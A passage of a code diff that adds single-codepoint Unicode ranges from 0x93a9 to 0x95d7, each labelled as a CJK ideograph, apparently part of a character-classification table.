+ [0x93a9, 0x93a9], /* CJK Ideograph */
+ [0x93aa, 0x93aa], /* CJK Ideograph */
+ [0x93ab, 0x93ab], /* CJK Ideograph */
+ [0x93ac, 0x93ac], /* CJK Ideograph */
+ [0x93ad, 0x93ad], /* CJK Ideograph */
+ [0x93ae, 0x93ae], /* CJK Ideograph */
+ [0x93af, 0x93af], /* CJK Ideograph */
+ [0x93b0, 0x93b0], /* CJK Ideograph */
+ [0x93b1, 0x93b1], /* CJK Ideograph */
+ [0x93b2, 0x93b2], /* CJK Ideograph */
+ [0x93b3, 0x93b3], /* CJK Ideograph */
+ [0x93b4, 0x93b4], /* CJK Ideograph */
+ [0x93b5, 0x93b5], /* CJK Ideograph */
+ [0x93b6, 0x93b6], /* CJK Ideograph */
+ [0x93b7, 0x93b7], /* CJK Ideograph */
+ [0x93b8, 0x93b8], /* CJK Ideograph */
+ [0x93b9, 0x93b9], /* CJK Ideograph */
+ [0x93ba, 0x93ba], /* CJK Ideograph */
+ [0x93bb, 0x93bb], /* CJK Ideograph */
+ [0x93bc, 0x93bc], /* CJK Ideograph */
+ [0x93bd, 0x93bd], /* CJK Ideograph */
+ [0x93be, 0x93be], /* CJK Ideograph */
+ [0x93bf, 0x93bf], /* CJK Ideograph */
+ [0x93c0, 0x93c0], /* CJK Ideograph */
+ [0x93c1, 0x93c1], /* CJK Ideograph */
+ [0x93c2, 0x93c2], /* CJK Ideograph */
+ [0x93c3, 0x93c3], /* CJK Ideograph */
+ [0x93c4, 0x93c4], /* CJK Ideograph */
+ [0x93c5, 0x93c5], /* CJK Ideograph */
+ [0x93c6, 0x93c6], /* CJK Ideograph */
+ [0x93c7, 0x93c7], /* CJK Ideograph */
+ [0x93c8, 0x93c8], /* CJK Ideograph */
+ [0x93c9, 0x93c9], /* CJK Ideograph */
+ [0x93ca, 0x93ca], /* CJK Ideograph */
+ [0x93cb, 0x93cb], /* CJK Ideograph */
+ [0x93cc, 0x93cc], /* CJK Ideograph */
+ [0x93cd, 0x93cd], /* CJK Ideograph */
+ [0x93ce, 0x93ce], /* CJK Ideograph */
+ [0x93cf, 0x93cf], /* CJK Ideograph */
+ [0x93d0, 0x93d0], /* CJK Ideograph */
+ [0x93d1, 0x93d1], /* CJK Ideograph */
+ [0x93d2, 0x93d2], /* CJK Ideograph */
+ [0x93d3, 0x93d3], /* CJK Ideograph */
+ [0x93d4, 0x93d4], /* CJK Ideograph */
+ [0x93d5, 0x93d5], /* CJK Ideograph */
+ [0x93d6, 0x93d6], /* CJK Ideograph */
+ [0x93d7, 0x93d7], /* CJK Ideograph */
+ [0x93d8, 0x93d8], /* CJK Ideograph */
+ [0x93d9, 0x93d9], /* CJK Ideograph */
+ [0x93da, 0x93da], /* CJK Ideograph */
+ [0x93db, 0x93db], /* CJK Ideograph */
+ [0x93dc, 0x93dc], /* CJK Ideograph */
+ [0x93dd, 0x93dd], /* CJK Ideograph */
+ [0x93de, 0x93de], /* CJK Ideograph */
+ [0x93df, 0x93df], /* CJK Ideograph */
+ [0x93e0, 0x93e0], /* CJK Ideograph */
+ [0x93e1, 0x93e1], /* CJK Ideograph */
+ [0x93e2, 0x93e2], /* CJK Ideograph */
+ [0x93e3, 0x93e3], /* CJK Ideograph */
+ [0x93e4, 0x93e4], /* CJK Ideograph */
+ [0x93e5, 0x93e5], /* CJK Ideograph */
+ [0x93e6, 0x93e6], /* CJK Ideograph */
+ [0x93e7, 0x93e7], /* CJK Ideograph */
+ [0x93e8, 0x93e8], /* CJK Ideograph */
+ [0x93e9, 0x93e9], /* CJK Ideograph */
+ [0x93ea, 0x93ea], /* CJK Ideograph */
+ [0x93eb, 0x93eb], /* CJK Ideograph */
+ [0x93ec, 0x93ec], /* CJK Ideograph */
+ [0x93ed, 0x93ed], /* CJK Ideograph */
+ [0x93ee, 0x93ee], /* CJK Ideograph */
+ [0x93ef, 0x93ef], /* CJK Ideograph */
+ [0x93f0, 0x93f0], /* CJK Ideograph */
+ [0x93f1, 0x93f1], /* CJK Ideograph */
+ [0x93f2, 0x93f2], /* CJK Ideograph */
+ [0x93f3, 0x93f3], /* CJK Ideograph */
+ [0x93f4, 0x93f4], /* CJK Ideograph */
+ [0x93f5, 0x93f5], /* CJK Ideograph */
+ [0x93f6, 0x93f6], /* CJK Ideograph */
+ [0x93f7, 0x93f7], /* CJK Ideograph */
+ [0x93f8, 0x93f8], /* CJK Ideograph */
+ [0x93f9, 0x93f9], /* CJK Ideograph */
+ [0x93fa, 0x93fa], /* CJK Ideograph */
+ [0x93fb, 0x93fb], /* CJK Ideograph */
+ [0x93fc, 0x93fc], /* CJK Ideograph */
+ [0x93fd, 0x93fd], /* CJK Ideograph */
+ [0x93fe, 0x93fe], /* CJK Ideograph */
+ [0x93ff, 0x93ff], /* CJK Ideograph */
+ [0x9400, 0x9400], /* CJK Ideograph */
+ [0x9401, 0x9401], /* CJK Ideograph */
+ [0x9402, 0x9402], /* CJK Ideograph */
+ [0x9403, 0x9403], /* CJK Ideograph */
+ [0x9404, 0x9404], /* CJK Ideograph */
+ [0x9405, 0x9405], /* CJK Ideograph */
+ [0x9406, 0x9406], /* CJK Ideograph */
+ [0x9407, 0x9407], /* CJK Ideograph */
+ [0x9408, 0x9408], /* CJK Ideograph */
+ [0x9409, 0x9409], /* CJK Ideograph */
+ [0x940a, 0x940a], /* CJK Ideograph */
+ [0x940b, 0x940b], /* CJK Ideograph */
+ [0x940c, 0x940c], /* CJK Ideograph */
+ [0x940d, 0x940d], /* CJK Ideograph */
+ [0x940e, 0x940e], /* CJK Ideograph */
+ [0x940f, 0x940f], /* CJK Ideograph */
+ [0x9410, 0x9410], /* CJK Ideograph */
+ [0x9411, 0x9411], /* CJK Ideograph */
+ [0x9412, 0x9412], /* CJK Ideograph */
+ [0x9413, 0x9413], /* CJK Ideograph */
+ [0x9414, 0x9414], /* CJK Ideograph */
+ [0x9415, 0x9415], /* CJK Ideograph */
+ [0x9416, 0x9416], /* CJK Ideograph */
+ [0x9417, 0x9417], /* CJK Ideograph */
+ [0x9418, 0x9418], /* CJK Ideograph */
+ [0x9419, 0x9419], /* CJK Ideograph */
+ [0x941a, 0x941a], /* CJK Ideograph */
+ [0x941b, 0x941b], /* CJK Ideograph */
+ [0x941c, 0x941c], /* CJK Ideograph */
+ [0x941d, 0x941d], /* CJK Ideograph */
+ [0x941e, 0x941e], /* CJK Ideograph */
+ [0x941f, 0x941f], /* CJK Ideograph */
+ [0x9420, 0x9420], /* CJK Ideograph */
+ [0x9421, 0x9421], /* CJK Ideograph */
+ [0x9422, 0x9422], /* CJK Ideograph */
+ [0x9423, 0x9423], /* CJK Ideograph */
+ [0x9424, 0x9424], /* CJK Ideograph */
+ [0x9425, 0x9425], /* CJK Ideograph */
+ [0x9426, 0x9426], /* CJK Ideograph */
+ [0x9427, 0x9427], /* CJK Ideograph */
+ [0x9428, 0x9428], /* CJK Ideograph */
+ [0x9429, 0x9429], /* CJK Ideograph */
+ [0x942a, 0x942a], /* CJK Ideograph */
+ [0x942b, 0x942b], /* CJK Ideograph */
+ [0x942c, 0x942c], /* CJK Ideograph */
+ [0x942d, 0x942d], /* CJK Ideograph */
+ [0x942e, 0x942e], /* CJK Ideograph */
+ [0x942f, 0x942f], /* CJK Ideograph */
+ [0x9430, 0x9430], /* CJK Ideograph */
+ [0x9431, 0x9431], /* CJK Ideograph */
+ [0x9432, 0x9432], /* CJK Ideograph */
+ [0x9433, 0x9433], /* CJK Ideograph */
+ [0x9434, 0x9434], /* CJK Ideograph */
+ [0x9435, 0x9435], /* CJK Ideograph */
+ [0x9436, 0x9436], /* CJK Ideograph */
+ [0x9437, 0x9437], /* CJK Ideograph */
+ [0x9438, 0x9438], /* CJK Ideograph */
+ [0x9439, 0x9439], /* CJK Ideograph */
+ [0x943a, 0x943a], /* CJK Ideograph */
+ [0x943b, 0x943b], /* CJK Ideograph */
+ [0x943c, 0x943c], /* CJK Ideograph */
+ [0x943d, 0x943d], /* CJK Ideograph */
+ [0x943e, 0x943e], /* CJK Ideograph */
+ [0x943f, 0x943f], /* CJK Ideograph */
+ [0x9440, 0x9440], /* CJK Ideograph */
+ [0x9441, 0x9441], /* CJK Ideograph */
+ [0x9442, 0x9442], /* CJK Ideograph */
+ [0x9443, 0x9443], /* CJK Ideograph */
+ [0x9444, 0x9444], /* CJK Ideograph */
+ [0x9445, 0x9445], /* CJK Ideograph */
+ [0x9446, 0x9446], /* CJK Ideograph */
+ [0x9447, 0x9447], /* CJK Ideograph */
+ [0x9448, 0x9448], /* CJK Ideograph */
+ [0x9449, 0x9449], /* CJK Ideograph */
+ [0x944a, 0x944a], /* CJK Ideograph */
+ [0x944b, 0x944b], /* CJK Ideograph */
+ [0x944c, 0x944c], /* CJK Ideograph */
+ [0x944d, 0x944d], /* CJK Ideograph */
+ [0x944e, 0x944e], /* CJK Ideograph */
+ [0x944f, 0x944f], /* CJK Ideograph */
+ [0x9450, 0x9450], /* CJK Ideograph */
+ [0x9451, 0x9451], /* CJK Ideograph */
+ [0x9452, 0x9452], /* CJK Ideograph */
+ [0x9453, 0x9453], /* CJK Ideograph */
+ [0x9454, 0x9454], /* CJK Ideograph */
+ [0x9455, 0x9455], /* CJK Ideograph */
+ [0x9456, 0x9456], /* CJK Ideograph */
+ [0x9457, 0x9457], /* CJK Ideograph */
+ [0x9458, 0x9458], /* CJK Ideograph */
+ [0x9459, 0x9459], /* CJK Ideograph */
+ [0x945a, 0x945a], /* CJK Ideograph */
+ [0x945b, 0x945b], /* CJK Ideograph */
+ [0x945c, 0x945c], /* CJK Ideograph */
+ [0x945d, 0x945d], /* CJK Ideograph */
+ [0x945e, 0x945e], /* CJK Ideograph */
+ [0x945f, 0x945f], /* CJK Ideograph */
+ [0x9460, 0x9460], /* CJK Ideograph */
+ [0x9461, 0x9461], /* CJK Ideograph */
+ [0x9462, 0x9462], /* CJK Ideograph */
+ [0x9463, 0x9463], /* CJK Ideograph */
+ [0x9464, 0x9464], /* CJK Ideograph */
+ [0x9465, 0x9465], /* CJK Ideograph */
+ [0x9466, 0x9466], /* CJK Ideograph */
+ [0x9467, 0x9467], /* CJK Ideograph */
+ [0x9468, 0x9468], /* CJK Ideograph */
+ [0x9469, 0x9469], /* CJK Ideograph */
+ [0x946a, 0x946a], /* CJK Ideograph */
+ [0x946b, 0x946b], /* CJK Ideograph */
+ [0x946c, 0x946c], /* CJK Ideograph */
+ [0x946d, 0x946d], /* CJK Ideograph */
+ [0x946e, 0x946e], /* CJK Ideograph */
+ [0x946f, 0x946f], /* CJK Ideograph */
+ [0x9470, 0x9470], /* CJK Ideograph */
+ [0x9471, 0x9471], /* CJK Ideograph */
+ [0x9472, 0x9472], /* CJK Ideograph */
+ [0x9473, 0x9473], /* CJK Ideograph */
+ [0x9474, 0x9474], /* CJK Ideograph */
+ [0x9475, 0x9475], /* CJK Ideograph */
+ [0x9476, 0x9476], /* CJK Ideograph */
+ [0x9477, 0x9477], /* CJK Ideograph */
+ [0x9478, 0x9478], /* CJK Ideograph */
+ [0x9479, 0x9479], /* CJK Ideograph */
+ [0x947a, 0x947a], /* CJK Ideograph */
+ [0x947b, 0x947b], /* CJK Ideograph */
+ [0x947c, 0x947c], /* CJK Ideograph */
+ [0x947d, 0x947d], /* CJK Ideograph */
+ [0x947e, 0x947e], /* CJK Ideograph */
+ [0x947f, 0x947f], /* CJK Ideograph */
+ [0x9480, 0x9480], /* CJK Ideograph */
+ [0x9481, 0x9481], /* CJK Ideograph */
+ [0x9482, 0x9482], /* CJK Ideograph */
+ [0x9483, 0x9483], /* CJK Ideograph */
+ [0x9484, 0x9484], /* CJK Ideograph */
+ [0x9485, 0x9485], /* CJK Ideograph */
+ [0x9486, 0x9486], /* CJK Ideograph */
+ [0x9487, 0x9487], /* CJK Ideograph */
+ [0x9488, 0x9488], /* CJK Ideograph */
+ [0x9489, 0x9489], /* CJK Ideograph */
+ [0x948a, 0x948a], /* CJK Ideograph */
+ [0x948b, 0x948b], /* CJK Ideograph */
+ [0x948c, 0x948c], /* CJK Ideograph */
+ [0x948d, 0x948d], /* CJK Ideograph */
+ [0x948e, 0x948e], /* CJK Ideograph */
+ [0x948f, 0x948f], /* CJK Ideograph */
+ [0x9490, 0x9490], /* CJK Ideograph */
+ [0x9491, 0x9491], /* CJK Ideograph */
+ [0x9492, 0x9492], /* CJK Ideograph */
+ [0x9493, 0x9493], /* CJK Ideograph */
+ [0x9494, 0x9494], /* CJK Ideograph */
+ [0x9495, 0x9495], /* CJK Ideograph */
+ [0x9496, 0x9496], /* CJK Ideograph */
+ [0x9497, 0x9497], /* CJK Ideograph */
+ [0x9498, 0x9498], /* CJK Ideograph */
+ [0x9499, 0x9499], /* CJK Ideograph */
+ [0x949a, 0x949a], /* CJK Ideograph */
+ [0x949b, 0x949b], /* CJK Ideograph */
+ [0x949c, 0x949c], /* CJK Ideograph */
+ [0x949d, 0x949d], /* CJK Ideograph */
+ [0x949e, 0x949e], /* CJK Ideograph */
+ [0x949f, 0x949f], /* CJK Ideograph */
+ [0x94a0, 0x94a0], /* CJK Ideograph */
+ [0x94a1, 0x94a1], /* CJK Ideograph */
+ [0x94a2, 0x94a2], /* CJK Ideograph */
+ [0x94a3, 0x94a3], /* CJK Ideograph */
+ [0x94a4, 0x94a4], /* CJK Ideograph */
+ [0x94a5, 0x94a5], /* CJK Ideograph */
+ [0x94a6, 0x94a6], /* CJK Ideograph */
+ [0x94a7, 0x94a7], /* CJK Ideograph */
+ [0x94a8, 0x94a8], /* CJK Ideograph */
+ [0x94a9, 0x94a9], /* CJK Ideograph */
+ [0x94aa, 0x94aa], /* CJK Ideograph */
+ [0x94ab, 0x94ab], /* CJK Ideograph */
+ [0x94ac, 0x94ac], /* CJK Ideograph */
+ [0x94ad, 0x94ad], /* CJK Ideograph */
+ [0x94ae, 0x94ae], /* CJK Ideograph */
+ [0x94af, 0x94af], /* CJK Ideograph */
+ [0x94b0, 0x94b0], /* CJK Ideograph */
+ [0x94b1, 0x94b1], /* CJK Ideograph */
+ [0x94b2, 0x94b2], /* CJK Ideograph */
+ [0x94b3, 0x94b3], /* CJK Ideograph */
+ [0x94b4, 0x94b4], /* CJK Ideograph */
+ [0x94b5, 0x94b5], /* CJK Ideograph */
+ [0x94b6, 0x94b6], /* CJK Ideograph */
+ [0x94b7, 0x94b7], /* CJK Ideograph */
+ [0x94b8, 0x94b8], /* CJK Ideograph */
+ [0x94b9, 0x94b9], /* CJK Ideograph */
+ [0x94ba, 0x94ba], /* CJK Ideograph */
+ [0x94bb, 0x94bb], /* CJK Ideograph */
+ [0x94bc, 0x94bc], /* CJK Ideograph */
+ [0x94bd, 0x94bd], /* CJK Ideograph */
+ [0x94be, 0x94be], /* CJK Ideograph */
+ [0x94bf, 0x94bf], /* CJK Ideograph */
+ [0x94c0, 0x94c0], /* CJK Ideograph */
+ [0x94c1, 0x94c1], /* CJK Ideograph */
+ [0x94c2, 0x94c2], /* CJK Ideograph */
+ [0x94c3, 0x94c3], /* CJK Ideograph */
+ [0x94c4, 0x94c4], /* CJK Ideograph */
+ [0x94c5, 0x94c5], /* CJK Ideograph */
+ [0x94c6, 0x94c6], /* CJK Ideograph */
+ [0x94c7, 0x94c7], /* CJK Ideograph */
+ [0x94c8, 0x94c8], /* CJK Ideograph */
+ [0x94c9, 0x94c9], /* CJK Ideograph */
+ [0x94ca, 0x94ca], /* CJK Ideograph */
+ [0x94cb, 0x94cb], /* CJK Ideograph */
+ [0x94cc, 0x94cc], /* CJK Ideograph */
+ [0x94cd, 0x94cd], /* CJK Ideograph */
+ [0x94ce, 0x94ce], /* CJK Ideograph */
+ [0x94cf, 0x94cf], /* CJK Ideograph */
+ [0x94d0, 0x94d0], /* CJK Ideograph */
+ [0x94d1, 0x94d1], /* CJK Ideograph */
+ [0x94d2, 0x94d2], /* CJK Ideograph */
+ [0x94d3, 0x94d3], /* CJK Ideograph */
+ [0x94d4, 0x94d4], /* CJK Ideograph */
+ [0x94d5, 0x94d5], /* CJK Ideograph */
+ [0x94d6, 0x94d6], /* CJK Ideograph */
+ [0x94d7, 0x94d7], /* CJK Ideograph */
+ [0x94d8, 0x94d8], /* CJK Ideograph */
+ [0x94d9, 0x94d9], /* CJK Ideograph */
+ [0x94da, 0x94da], /* CJK Ideograph */
+ [0x94db, 0x94db], /* CJK Ideograph */
+ [0x94dc, 0x94dc], /* CJK Ideograph */
+ [0x94dd, 0x94dd], /* CJK Ideograph */
+ [0x94de, 0x94de], /* CJK Ideograph */
+ [0x94df, 0x94df], /* CJK Ideograph */
+ [0x94e0, 0x94e0], /* CJK Ideograph */
+ [0x94e1, 0x94e1], /* CJK Ideograph */
+ [0x94e2, 0x94e2], /* CJK Ideograph */
+ [0x94e3, 0x94e3], /* CJK Ideograph */
+ [0x94e4, 0x94e4], /* CJK Ideograph */
+ [0x94e5, 0x94e5], /* CJK Ideograph */
+ [0x94e6, 0x94e6], /* CJK Ideograph */
+ [0x94e7, 0x94e7], /* CJK Ideograph */
+ [0x94e8, 0x94e8], /* CJK Ideograph */
+ [0x94e9, 0x94e9], /* CJK Ideograph */
+ [0x94ea, 0x94ea], /* CJK Ideograph */
+ [0x94eb, 0x94eb], /* CJK Ideograph */
+ [0x94ec, 0x94ec], /* CJK Ideograph */
+ [0x94ed, 0x94ed], /* CJK Ideograph */
+ [0x94ee, 0x94ee], /* CJK Ideograph */
+ [0x94ef, 0x94ef], /* CJK Ideograph */
+ [0x94f0, 0x94f0], /* CJK Ideograph */
+ [0x94f1, 0x94f1], /* CJK Ideograph */
+ [0x94f2, 0x94f2], /* CJK Ideograph */
+ [0x94f3, 0x94f3], /* CJK Ideograph */
+ [0x94f4, 0x94f4], /* CJK Ideograph */
+ [0x94f5, 0x94f5], /* CJK Ideograph */
+ [0x94f6, 0x94f6], /* CJK Ideograph */
+ [0x94f7, 0x94f7], /* CJK Ideograph */
+ [0x94f8, 0x94f8], /* CJK Ideograph */
+ [0x94f9, 0x94f9], /* CJK Ideograph */
+ [0x94fa, 0x94fa], /* CJK Ideograph */
+ [0x94fb, 0x94fb], /* CJK Ideograph */
+ [0x94fc, 0x94fc], /* CJK Ideograph */
+ [0x94fd, 0x94fd], /* CJK Ideograph */
+ [0x94fe, 0x94fe], /* CJK Ideograph */
+ [0x94ff, 0x94ff], /* CJK Ideograph */
+ [0x9500, 0x9500], /* CJK Ideograph */
+ [0x9501, 0x9501], /* CJK Ideograph */
+ [0x9502, 0x9502], /* CJK Ideograph */
+ [0x9503, 0x9503], /* CJK Ideograph */
+ [0x9504, 0x9504], /* CJK Ideograph */
+ [0x9505, 0x9505], /* CJK Ideograph */
+ [0x9506, 0x9506], /* CJK Ideograph */
+ [0x9507, 0x9507], /* CJK Ideograph */
+ [0x9508, 0x9508], /* CJK Ideograph */
+ [0x9509, 0x9509], /* CJK Ideograph */
+ [0x950a, 0x950a], /* CJK Ideograph */
+ [0x950b, 0x950b], /* CJK Ideograph */
+ [0x950c, 0x950c], /* CJK Ideograph */
+ [0x950d, 0x950d], /* CJK Ideograph */
+ [0x950e, 0x950e], /* CJK Ideograph */
+ [0x950f, 0x950f], /* CJK Ideograph */
+ [0x9510, 0x9510], /* CJK Ideograph */
+ [0x9511, 0x9511], /* CJK Ideograph */
+ [0x9512, 0x9512], /* CJK Ideograph */
+ [0x9513, 0x9513], /* CJK Ideograph */
+ [0x9514, 0x9514], /* CJK Ideograph */
+ [0x9515, 0x9515], /* CJK Ideograph */
+ [0x9516, 0x9516], /* CJK Ideograph */
+ [0x9517, 0x9517], /* CJK Ideograph */
+ [0x9518, 0x9518], /* CJK Ideograph */
+ [0x9519, 0x9519], /* CJK Ideograph */
+ [0x951a, 0x951a], /* CJK Ideograph */
+ [0x951b, 0x951b], /* CJK Ideograph */
+ [0x951c, 0x951c], /* CJK Ideograph */
+ [0x951d, 0x951d], /* CJK Ideograph */
+ [0x951e, 0x951e], /* CJK Ideograph */
+ [0x951f, 0x951f], /* CJK Ideograph */
+ [0x9520, 0x9520], /* CJK Ideograph */
+ [0x9521, 0x9521], /* CJK Ideograph */
+ [0x9522, 0x9522], /* CJK Ideograph */
+ [0x9523, 0x9523], /* CJK Ideograph */
+ [0x9524, 0x9524], /* CJK Ideograph */
+ [0x9525, 0x9525], /* CJK Ideograph */
+ [0x9526, 0x9526], /* CJK Ideograph */
+ [0x9527, 0x9527], /* CJK Ideograph */
+ [0x9528, 0x9528], /* CJK Ideograph */
+ [0x9529, 0x9529], /* CJK Ideograph */
+ [0x952a, 0x952a], /* CJK Ideograph */
+ [0x952b, 0x952b], /* CJK Ideograph */
+ [0x952c, 0x952c], /* CJK Ideograph */
+ [0x952d, 0x952d], /* CJK Ideograph */
+ [0x952e, 0x952e], /* CJK Ideograph */
+ [0x952f, 0x952f], /* CJK Ideograph */
+ [0x9530, 0x9530], /* CJK Ideograph */
+ [0x9531, 0x9531], /* CJK Ideograph */
+ [0x9532, 0x9532], /* CJK Ideograph */
+ [0x9533, 0x9533], /* CJK Ideograph */
+ [0x9534, 0x9534], /* CJK Ideograph */
+ [0x9535, 0x9535], /* CJK Ideograph */
+ [0x9536, 0x9536], /* CJK Ideograph */
+ [0x9537, 0x9537], /* CJK Ideograph */
+ [0x9538, 0x9538], /* CJK Ideograph */
+ [0x9539, 0x9539], /* CJK Ideograph */
+ [0x953a, 0x953a], /* CJK Ideograph */
+ [0x953b, 0x953b], /* CJK Ideograph */
+ [0x953c, 0x953c], /* CJK Ideograph */
+ [0x953d, 0x953d], /* CJK Ideograph */
+ [0x953e, 0x953e], /* CJK Ideograph */
+ [0x953f, 0x953f], /* CJK Ideograph */
+ [0x9540, 0x9540], /* CJK Ideograph */
+ [0x9541, 0x9541], /* CJK Ideograph */
+ [0x9542, 0x9542], /* CJK Ideograph */
+ [0x9543, 0x9543], /* CJK Ideograph */
+ [0x9544, 0x9544], /* CJK Ideograph */
+ [0x9545, 0x9545], /* CJK Ideograph */
+ [0x9546, 0x9546], /* CJK Ideograph */
+ [0x9547, 0x9547], /* CJK Ideograph */
+ [0x9548, 0x9548], /* CJK Ideograph */
+ [0x9549, 0x9549], /* CJK Ideograph */
+ [0x954a, 0x954a], /* CJK Ideograph */
+ [0x954b, 0x954b], /* CJK Ideograph */
+ [0x954c, 0x954c], /* CJK Ideograph */
+ [0x954d, 0x954d], /* CJK Ideograph */
+ [0x954e, 0x954e], /* CJK Ideograph */
+ [0x954f, 0x954f], /* CJK Ideograph */
+ [0x9550, 0x9550], /* CJK Ideograph */
+ [0x9551, 0x9551], /* CJK Ideograph */
+ [0x9552, 0x9552], /* CJK Ideograph */
+ [0x9553, 0x9553], /* CJK Ideograph */
+ [0x9554, 0x9554], /* CJK Ideograph */
+ [0x9555, 0x9555], /* CJK Ideograph */
+ [0x9556, 0x9556], /* CJK Ideograph */
+ [0x9557, 0x9557], /* CJK Ideograph */
+ [0x9558, 0x9558], /* CJK Ideograph */
+ [0x9559, 0x9559], /* CJK Ideograph */
+ [0x955a, 0x955a], /* CJK Ideograph */
+ [0x955b, 0x955b], /* CJK Ideograph */
+ [0x955c, 0x955c], /* CJK Ideograph */
+ [0x955d, 0x955d], /* CJK Ideograph */
+ [0x955e, 0x955e], /* CJK Ideograph */
+ [0x955f, 0x955f], /* CJK Ideograph */
+ [0x9560, 0x9560], /* CJK Ideograph */
+ [0x9561, 0x9561], /* CJK Ideograph */
+ [0x9562, 0x9562], /* CJK Ideograph */
+ [0x9563, 0x9563], /* CJK Ideograph */
+ [0x9564, 0x9564], /* CJK Ideograph */
+ [0x9565, 0x9565], /* CJK Ideograph */
+ [0x9566, 0x9566], /* CJK Ideograph */
+ [0x9567, 0x9567], /* CJK Ideograph */
+ [0x9568, 0x9568], /* CJK Ideograph */
+ [0x9569, 0x9569], /* CJK Ideograph */
+ [0x956a, 0x956a], /* CJK Ideograph */
+ [0x956b, 0x956b], /* CJK Ideograph */
+ [0x956c, 0x956c], /* CJK Ideograph */
+ [0x956d, 0x956d], /* CJK Ideograph */
+ [0x956e, 0x956e], /* CJK Ideograph */
+ [0x956f, 0x956f], /* CJK Ideograph */
+ [0x9570, 0x9570], /* CJK Ideograph */
+ [0x9571, 0x9571], /* CJK Ideograph */
+ [0x9572, 0x9572], /* CJK Ideograph */
+ [0x9573, 0x9573], /* CJK Ideograph */
+ [0x9574, 0x9574], /* CJK Ideograph */
+ [0x9575, 0x9575], /* CJK Ideograph */
+ [0x9576, 0x9576], /* CJK Ideograph */
+ [0x9577, 0x9577], /* CJK Ideograph */
+ [0x9578, 0x9578], /* CJK Ideograph */
+ [0x9579, 0x9579], /* CJK Ideograph */
+ [0x957a, 0x957a], /* CJK Ideograph */
+ [0x957b, 0x957b], /* CJK Ideograph */
+ [0x957c, 0x957c], /* CJK Ideograph */
+ [0x957d, 0x957d], /* CJK Ideograph */
+ [0x957e, 0x957e], /* CJK Ideograph */
+ [0x957f, 0x957f], /* CJK Ideograph */
+ [0x9580, 0x9580], /* CJK Ideograph */
+ [0x9581, 0x9581], /* CJK Ideograph */
+ [0x9582, 0x9582], /* CJK Ideograph */
+ [0x9583, 0x9583], /* CJK Ideograph */
+ [0x9584, 0x9584], /* CJK Ideograph */
+ [0x9585, 0x9585], /* CJK Ideograph */
+ [0x9586, 0x9586], /* CJK Ideograph */
+ [0x9587, 0x9587], /* CJK Ideograph */
+ [0x9588, 0x9588], /* CJK Ideograph */
+ [0x9589, 0x9589], /* CJK Ideograph */
+ [0x958a, 0x958a], /* CJK Ideograph */
+ [0x958b, 0x958b], /* CJK Ideograph */
+ [0x958c, 0x958c], /* CJK Ideograph */
+ [0x958d, 0x958d], /* CJK Ideograph */
+ [0x958e, 0x958e], /* CJK Ideograph */
+ [0x958f, 0x958f], /* CJK Ideograph */
+ [0x9590, 0x9590], /* CJK Ideograph */
+ [0x9591, 0x9591], /* CJK Ideograph */
+ [0x9592, 0x9592], /* CJK Ideograph */
+ [0x9593, 0x9593], /* CJK Ideograph */
+ [0x9594, 0x9594], /* CJK Ideograph */
+ [0x9595, 0x9595], /* CJK Ideograph */
+ [0x9596, 0x9596], /* CJK Ideograph */
+ [0x9597, 0x9597], /* CJK Ideograph */
+ [0x9598, 0x9598], /* CJK Ideograph */
+ [0x9599, 0x9599], /* CJK Ideograph */
+ [0x959a, 0x959a], /* CJK Ideograph */
+ [0x959b, 0x959b], /* CJK Ideograph */
+ [0x959c, 0x959c], /* CJK Ideograph */
+ [0x959d, 0x959d], /* CJK Ideograph */
+ [0x959e, 0x959e], /* CJK Ideograph */
+ [0x959f, 0x959f], /* CJK Ideograph */
+ [0x95a0, 0x95a0], /* CJK Ideograph */
+ [0x95a1, 0x95a1], /* CJK Ideograph */
+ [0x95a2, 0x95a2], /* CJK Ideograph */
+ [0x95a3, 0x95a3], /* CJK Ideograph */
+ [0x95a4, 0x95a4], /* CJK Ideograph */
+ [0x95a5, 0x95a5], /* CJK Ideograph */
+ [0x95a6, 0x95a6], /* CJK Ideograph */
+ [0x95a7, 0x95a7], /* CJK Ideograph */
+ [0x95a8, 0x95a8], /* CJK Ideograph */
+ [0x95a9, 0x95a9], /* CJK Ideograph */
+ [0x95aa, 0x95aa], /* CJK Ideograph */
+ [0x95ab, 0x95ab], /* CJK Ideograph */
+ [0x95ac, 0x95ac], /* CJK Ideograph */
+ [0x95ad, 0x95ad], /* CJK Ideograph */
+ [0x95ae, 0x95ae], /* CJK Ideograph */
+ [0x95af, 0x95af], /* CJK Ideograph */
+ [0x95b0, 0x95b0], /* CJK Ideograph */
+ [0x95b1, 0x95b1], /* CJK Ideograph */
+ [0x95b2, 0x95b2], /* CJK Ideograph */
+ [0x95b3, 0x95b3], /* CJK Ideograph */
+ [0x95b4, 0x95b4], /* CJK Ideograph */
+ [0x95b5, 0x95b5], /* CJK Ideograph */
+ [0x95b6, 0x95b6], /* CJK Ideograph */
+ [0x95b7, 0x95b7], /* CJK Ideograph */
+ [0x95b8, 0x95b8], /* CJK Ideograph */
+ [0x95b9, 0x95b9], /* CJK Ideograph */
+ [0x95ba, 0x95ba], /* CJK Ideograph */
+ [0x95bb, 0x95bb], /* CJK Ideograph */
+ [0x95bc, 0x95bc], /* CJK Ideograph */
+ [0x95bd, 0x95bd], /* CJK Ideograph */
+ [0x95be, 0x95be], /* CJK Ideograph */
+ [0x95bf, 0x95bf], /* CJK Ideograph */
+ [0x95c0, 0x95c0], /* CJK Ideograph */
+ [0x95c1, 0x95c1], /* CJK Ideograph */
+ [0x95c2, 0x95c2], /* CJK Ideograph */
+ [0x95c3, 0x95c3], /* CJK Ideograph */
+ [0x95c4, 0x95c4], /* CJK Ideograph */
+ [0x95c5, 0x95c5], /* CJK Ideograph */
+ [0x95c6, 0x95c6], /* CJK Ideograph */
+ [0x95c7, 0x95c7], /* CJK Ideograph */
+ [0x95c8, 0x95c8], /* CJK Ideograph */
+ [0x95c9, 0x95c9], /* CJK Ideograph */
+ [0x95ca, 0x95ca], /* CJK Ideograph */
+ [0x95cb, 0x95cb], /* CJK Ideograph */
+ [0x95cc, 0x95cc], /* CJK Ideograph */
+ [0x95cd, 0x95cd], /* CJK Ideograph */
+ [0x95ce, 0x95ce], /* CJK Ideograph */
+ [0x95cf, 0x95cf], /* CJK Ideograph */
+ [0x95d0, 0x95d0], /* CJK Ideograph */
+ [0x95d1, 0x95d1], /* CJK Ideograph */
+ [0x95d2, 0x95d2], /* CJK Ideograph */
+ [0x95d3, 0x95d3], /* CJK Ideograph */
+ [0x95d4, 0x95d4], /* CJK Ideograph */
+ [0x95d5, 0x95d5], /* CJK Ideograph */
+ [0x95d6, 0x95d6], /* CJK Ideograph */
+ [0x95d7, 0x95d7], /* CJK Ideograph */
